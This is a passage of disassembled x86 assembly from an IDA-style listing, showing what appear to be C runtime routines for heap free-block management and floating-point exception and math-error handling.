; ---------------------------------------------------------------------------


loc_413EF0:				; CODE XREF: sub_413D5B+E5j
		mov	edx, [ebp+arg_4]


loc_413EF3:				; CODE XREF: sub_413D5B+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_414049
; ---------------------------------------------------------------------------


loc_413F02:				; CODE XREF: sub_413D5B+52j
					; sub_413D5B+5Cj
		xor	eax, eax
		jmp	loc_41404C
; ---------------------------------------------------------------------------


loc_413F09:				; CODE XREF: sub_413D5B+49j
		jge	loc_414049
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_413F34
		push	3Fh
		pop	esi


loc_413F34:				; CODE XREF: sub_413D5B+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_413FC3
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_413F4D
		push	3Fh
		pop	esi


loc_413F4D:				; CODE XREF: sub_413D5B+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_413F9C
		cmp	esi, 20h
		jnb	short loc_413F78
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_413F99
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_413F99
; ---------------------------------------------------------------------------


loc_413F78:				; CODE XREF: sub_413D5B+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_413F99
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_413F99:				; CODE XREF: sub_413D5B+214j
					; sub_413D5B+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_413F9C:				; CODE XREF: sub_413D5B+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_413FC3
		push	3Fh
		pop	esi


loc_413FC3:				; CODE XREF: sub_413D5B+1DDj
					; sub_413D5B+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_414040
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_414017
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41400A
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41400A:				; CODE XREF: sub_413D5B+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41403C
; ---------------------------------------------------------------------------


loc_414017:				; CODE XREF: sub_413D5B+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41402D
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41402D:				; CODE XREF: sub_413D5B+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41403C:				; CODE XREF: sub_413D5B+2BAj
		shr	edx, cl
		or	[eax], edx


loc_414040:				; CODE XREF: sub_413D5B+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_414049:				; CODE XREF: sub_413D5B+1A2j
					; sub_413D5B:loc_413F09j
		push	1
		pop	eax


loc_41404C:				; CODE XREF: sub_413D5B+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413D5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_414051(int,int,double,int)

sub_414051	proc near		; CODE XREF: sub_410CB2+51p
					; sub_410DFB+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	ds:dword_42EB08, 0
		jnz	short loc_414086
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_414606
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_414086:				; CODE XREF: sub_414051+Aj
		push	0FFFFh
		mov	ds:dword_45F844, 21h
		push	[ebp+arg_C]
		call	sub_414879
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_414051	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4140A4(int,int,double,double,int)

sub_4140A4	proc near		; CODE XREF: sub_410CB2:loc_410D75p
					; sub_410DFB:loc_410EBEp

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_4143EF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4140E2
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_41413C
		add	esp, 18h


loc_4140E2:				; CODE XREF: sub_4140A4+1Aj
		push	[ebp+arg_0]
		call	sub_4146D9
		cmp	ds:dword_42EB08, 0
		pop	ecx
		jnz	short loc_414120
		test	eax, eax
		jz	short loc_414120
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_414606
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_414120:				; CODE XREF: sub_4140A4+4Ej
					; sub_4140A4+52j
		push	eax
		call	sub_41468E
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_414879
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_4140A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41413C	proc near		; CODE XREF: sub_4140A4+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_41416E
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_41416E:				; CODE XREF: sub_41413C+23j
		test	cl, 2
		jz	short loc_414181
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_414181:				; CODE XREF: sub_41413C+35j
		test	cl, bl
		jz	short loc_414193
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_414193:				; CODE XREF: sub_41413C+47j
		test	cl, 4
		jz	short loc_4141A6
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_4141A6:				; CODE XREF: sub_41413C+5Aj
		test	cl, 8
		jz	short loc_4141B9
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_4141B9:				; CODE XREF: sub_41413C+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_41485C
		test	al, bl
		jz	short loc_414242
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_414242:				; CODE XREF: sub_41413C+FDj
		test	al, 4
		jz	short loc_41424D
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_41424D:				; CODE XREF: sub_41413C+108j
		test	al, 8
		jz	short loc_414258
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_414258:				; CODE XREF: sub_41413C+113j
		test	al, 10h
		jz	short loc_414262
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_414262:				; CODE XREF: sub_41413C+11Ej
		test	al, 20h
		jz	short loc_41426C
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_41426C:				; CODE XREF: sub_41413C+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_4142AB
		cmp	eax, 400h
		jz	short loc_41429D
		cmp	eax, 800h
		jz	short loc_414291
		cmp	eax, ecx
		jnz	short loc_4142B1
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_4142B1
; ---------------------------------------------------------------------------


loc_414291:				; CODE XREF: sub_41413C+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_4142A7
; ---------------------------------------------------------------------------


loc_41429D:				; CODE XREF: sub_41413C+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_4142A7:				; CODE XREF: sub_41413C+15Fj
		mov	[eax], ecx
		jmp	short loc_4142B1
; ---------------------------------------------------------------------------


loc_4142AB:				; CODE XREF: sub_41413C+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_4142B1:				; CODE XREF: sub_41413C+14Bj
					; sub_41413C+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_4142DC
		cmp	eax, 200h
		jz	short loc_4142CF
		cmp	eax, ecx
		jnz	short loc_4142E9
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_4142E9
; ---------------------------------------------------------------------------


loc_4142CF:				; CODE XREF: sub_41413C+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_4142E7
; ---------------------------------------------------------------------------


loc_4142DC:				; CODE XREF: sub_41413C+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_4142E7:				; CODE XREF: sub_41413C+19Ej
		mov	[eax], ecx


loc_4142E9:				; CODE XREF: sub_41413C+189j
					; sub_41413C+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_41486A
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	ds:dword_41C16C	; RaiseException
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_414363
		and	dword ptr [esi], 0FFFFFFFEh


loc_414363:				; CODE XREF: sub_41413C+222j
		test	byte ptr [eax+8], 8
		jz	short loc_41436C
		and	dword ptr [esi], 0FFFFFFFBh


loc_41436C:				; CODE XREF: sub_41413C+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_414375
		and	dword ptr [esi], 0FFFFFFF7h


loc_414375:				; CODE XREF: sub_41413C+234j
		test	byte ptr [eax+8], 2
		jz	short loc_41437E
		and	dword ptr [esi], 0FFFFFFEFh


loc_41437E:				; CODE XREF: sub_41413C+23Dj
		test	[eax+8], bl
		jz	short loc_414386
		and	dword ptr [esi], 0FFFFFFDFh


loc_414386:				; CODE XREF: sub_41413C+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_4143BA
		dec	ecx
		jz	short loc_4143AE
		dec	ecx
		jz	short loc_4143A4
		dec	ecx
		jnz	short loc_4143BC
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_4143BC
; ---------------------------------------------------------------------------


loc_4143A4:				; CODE XREF: sub_41413C+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_4143B6
; ---------------------------------------------------------------------------


loc_4143AE:				; CODE XREF: sub_41413C+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_4143B6:				; CODE XREF: sub_41413C+270j
		mov	[esi], ecx
		jmp	short loc_4143BC
; ---------------------------------------------------------------------------


loc_4143BA:				; CODE XREF: sub_41413C+257j
		and	[esi], edx


loc_4143BC:				; CODE XREF: sub_41413C+260j
					; sub_41413C+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_4143DC
		dec	ecx
		jz	short loc_4143D3
		dec	ecx
		jnz	short loc_4143E5
		and	[esi], edx
		jmp	short loc_4143E5
; ---------------------------------------------------------------------------


loc_4143D3:				; CODE XREF: sub_41413C+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_4143E3
; ---------------------------------------------------------------------------


loc_4143DC:				; CODE XREF: sub_41413C+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_4143E3:				; CODE XREF: sub_41413C+29Ej
		mov	[esi], ecx


loc_4143E5:				; CODE XREF: sub_41413C+291j
					; sub_41413C+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41413C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4143EF	proc near		; CODE XREF: sub_4140A4+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_41441A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_41441A
		push	ebx
		call	sub_41489C
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_4145E4
; ---------------------------------------------------------------------------


loc_41441A:				; CODE XREF: sub_4143EF+15j
					; sub_4143EF+1Aj
		test	al, 4
		jz	short loc_414434
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_414434
		push	4
		call	sub_41489C
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_4145E4
; ---------------------------------------------------------------------------


loc_414434:				; CODE XREF: sub_4143EF+2Dj
					; sub_4143EF+33j
		test	al, bl
		jz	loc_41450E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_41450E
		push	8
		call	sub_41489C
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_4144E6
		cmp	ecx, 400h
		jz	short loc_4144BE
		cmp	ecx, 800h
		jz	short loc_414496
		cmp	ecx, eax
		jnz	loc_414506
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_41C790
		fld	ds:dbl_42E498
		fnstsw	ax
		sahf
		ja	short loc_41448E
		fchs


loc_41448E:				; CODE XREF: sub_4143EF+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_414504
; ---------------------------------------------------------------------------


loc_414496:				; CODE XREF: sub_4143EF+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_41C790
		fnstsw	ax
		sahf
		jbe	short loc_4144AE
		fld	ds:dbl_42E488
		jmp	short loc_4144B6
; ---------------------------------------------------------------------------


loc_4144AE:				; CODE XREF: sub_4143EF+B5j
		fld	ds:dbl_42E498
		fchs


loc_4144B6:				; CODE XREF: sub_4143EF+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_414504
; ---------------------------------------------------------------------------


loc_4144BE:				; CODE XREF: sub_4143EF+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_41C790
		fnstsw	ax
		sahf
		jbe	short loc_4144D6
		fld	ds:dbl_42E498
		jmp	short loc_4144DE
; ---------------------------------------------------------------------------


loc_4144D6:				; CODE XREF: sub_4143EF+DDj
		fld	ds:dbl_42E488
		fchs


loc_4144DE:				; CODE XREF: sub_4143EF+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_414504
; ---------------------------------------------------------------------------


loc_4144E6:				; CODE XREF: sub_4143EF+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	ds:dbl_41C790
		fld	ds:dbl_42E488
		fnstsw	ax
		sahf
		ja	short loc_4144FE
		fchs


loc_4144FE:				; CODE XREF: sub_4143EF+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_414504:				; CODE XREF: sub_4143EF+A5j
					; sub_4143EF+CDj ...
		fstp	qword ptr [ecx]


loc_414506:				; CODE XREF: sub_4143EF+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_4145E4
; ---------------------------------------------------------------------------


loc_41450E:				; CODE XREF: sub_4143EF+47j
					; sub_4143EF+51j
		test	al, 2
		jz	loc_4145E4
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_4145E4
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_414529
		mov	esi, ebx


loc_414529:				; CODE XREF: sub_4143EF+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	ds:dbl_41C790
		fnstsw	ax
		sahf
		jz	loc_4145D2
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_41479B
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_414574
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_4145C8
; ---------------------------------------------------------------------------


loc_414574:				; CODE XREF: sub_4143EF+17Aj
		fld	[ebp+var_C]
		fcomp	ds:dbl_41C790
		fnstsw	ax
		sahf
		jnb	short loc_414586
		mov	edx, ebx
		jmp	short loc_414588
; ---------------------------------------------------------------------------


loc_414586:				; CODE XREF: sub_4143EF+191j
		xor	edx, edx


loc_414588:				; CODE XREF: sub_4143EF+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_4145BC
		sub	eax, ecx


loc_41459F:				; CODE XREF: sub_4143EF+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_4145AA
		test	esi, esi
		jnz	short loc_4145AA
		mov	esi, ebx


loc_4145AA:				; CODE XREF: sub_4143EF+1B3j
					; sub_4143EF+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_4145B6
		or	byte ptr [ebp+var_C+3],	80h


loc_4145B6:				; CODE XREF: sub_4143EF+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_41459F


loc_4145BC:				; CODE XREF: sub_4143EF+1ACj
		test	edx, edx
		jz	short loc_4145C8
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_4145C8:				; CODE XREF: sub_4143EF+183j
					; sub_4143EF+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_4145D4
; ---------------------------------------------------------------------------


loc_4145D2:				; CODE XREF: sub_4143EF+14Ej
		mov	esi, ebx


loc_4145D4:				; CODE XREF: sub_4143EF+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_4145E1
		push	10h
		call	sub_41489C
		pop	ecx


loc_4145E1:				; CODE XREF: sub_4143EF+1E8j
		and	edi, 0FFFFFFFDh


loc_4145E4:				; CODE XREF: sub_4143EF+26j
					; sub_4143EF+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_4145FB
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_4145FB
		push	20h
		call	sub_41489C
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_4145FB:				; CODE XREF: sub_4143EF+1F9j
					; sub_4143EF+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_4143EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_414606(int,int,int,int,int,int,double,int)

sub_414606	proc near		; CODE XREF: sub_414051+2Bp
					; sub_4140A4+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_4146B4
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_414671
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_414879
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41822D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41466B
		push	esi
		call	sub_41468E
		pop	ecx


loc_41466B:				; CODE XREF: sub_414606+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_414671:				; CODE XREF: sub_414606+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_414879
		push	[ebp+arg_0]
		call	sub_41468E
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_414606	endp


; =============== S U B	R O U T	I N E =======================================



sub_41468E	proc near		; CODE XREF: sub_4140A4+7Dp
					; sub_414606+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_4146A9
		jle	short locret_4146B3
		cmp	eax, 3
		jg	short locret_4146B3
		mov	ds:dword_45F844, 22h
		retn
; ---------------------------------------------------------------------------


loc_4146A9:				; CODE XREF: sub_41468E+7j
		mov	ds:dword_45F844, 21h

locret_4146B3:				; CODE XREF: sub_41468E+9j
					; sub_41468E+Ej
		retn
sub_41468E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4146B4	proc near		; CODE XREF: sub_414606+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_42E3B0


loc_4146BB:				; CODE XREF: sub_4146B4+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_4146D1
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_42E488
		jl	short loc_4146BB
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4146D1:				; CODE XREF: sub_4146B4+Dj
		mov	eax, ds:off_42E3B4[ecx*8]
		retn
sub_4146B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4146D9	proc near		; CODE XREF: sub_4140A4+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_4146E5
		push	5
		jmp	short loc_4146FB
; ---------------------------------------------------------------------------


loc_4146E5:				; CODE XREF: sub_4146D9+6j
		test	al, 8
		jz	short loc_4146ED
		push	1
		jmp	short loc_4146FB
; ---------------------------------------------------------------------------


loc_4146ED:				; CODE XREF: sub_4146D9+Ej
		test	al, 4
		jz	short loc_4146F5
		push	2
		jmp	short loc_4146FB
; ---------------------------------------------------------------------------


loc_4146F5:				; CODE XREF: sub_4146D9+16j
		test	al, 1
		jz	short loc_4146FD
		push	3


loc_4146FB:				; CODE XREF: sub_4146D9+Aj
					; sub_4146D9+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4146FD:				; CODE XREF: sub_4146D9+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_4146D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_414706(double)

sub_414706	proc near		; CODE XREF: sub_410CB2:loc_410D38p
					; sub_410DFB:loc_410E81p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_414706	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_414718(double,int)

sub_414718	proc near		; CODE XREF: sub_41479B+82p
					; sub_41479B+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
